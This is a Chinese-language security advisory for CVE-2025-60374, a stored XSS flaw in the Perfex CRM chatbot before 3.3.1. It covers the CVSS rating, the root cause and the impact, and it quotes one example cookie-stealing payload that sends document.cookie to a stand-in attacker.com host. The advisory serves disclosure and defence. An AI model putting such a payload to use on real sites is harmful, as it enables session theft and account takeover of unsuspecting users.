CVE-2025-60374CVE-2025-60374是Perfex CRM聊天机器人组件中的一个存储型跨站脚本(Stored XSS)漏洞,影响3.3.1之前的所有版本。该漏洞允许未经认证的远程攻击者通过聊天机器人功能注入任意HTML和JavaScript代码。由于是存储型XSS,恶意载荷会被持久化保存在服务器端,每当有合法用户访问或查看聊天内容时,恶意脚本将在受害者浏览器中自动执行。
该漏洞的CVSS 3.1评分为6.1,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R)才能触发。漏洞的影响范围已发生改变(S:C),表明该漏洞可以影响到超出其直接安全域的其他组件。
成功利用此漏洞可能导致客户端代码执行、用户会话令牌(Cookie)窃取、账户劫持、钓鱼攻击以及在受害者权限范围内执行其他恶意操作。此漏洞与CVE-2024-8867为不同的漏洞,表明Perfex CRM聊天机器人在XSS防护方面存在系统性的安全问题。鉴于Perfex CRM作为客户关系管理系统的广泛应用性,此漏洞对使用该系统的企业构成显著的安全风险,可能导致客户数据泄露和业务中断。
Perfex CRM聊天机器人在3.3.1版本之前,未对用户输入的聊天消息内容进行充分的输出编码和过滤,导致存储型XSS漏洞的产生。
漏洞原理:
1. 聊天机器人功能接收用户提交的聊天消息,并将消息内容存储到数据库中。
2. 在消息存储过程中,应用程序未对用户输入中的HTML标签和JavaScript代码进行适当的转义或过滤。
3. 当其他用户(包括管理员和普通用户)查看聊天记录时,服务器直接从数据库读取原始内容并嵌入到HTML页面中进行渲染。
4. 浏览器将恶意载荷视为合法的HTML/JavaScript代码并执行。
利用方式:
攻击者无需认证即可通过聊天机器人接口提交包含恶意脚本的消息。典型的攻击载荷包括窃取Cookie的脚本(如document.location='http://attacker.com/steal?c='+document.cookie)、键盘记录器、伪造的登录表单或重定向脚本。由于载荷被持久化存储,任何查看该聊天会话的用户都会受到影响,攻击影响范围会随着时间推移不断扩大。
此漏洞与CVE-2024-8867不同,表明问题可能存在于聊天功能的不同输入字段或处理流程中,需要开发者进行全面的安全审计和修复。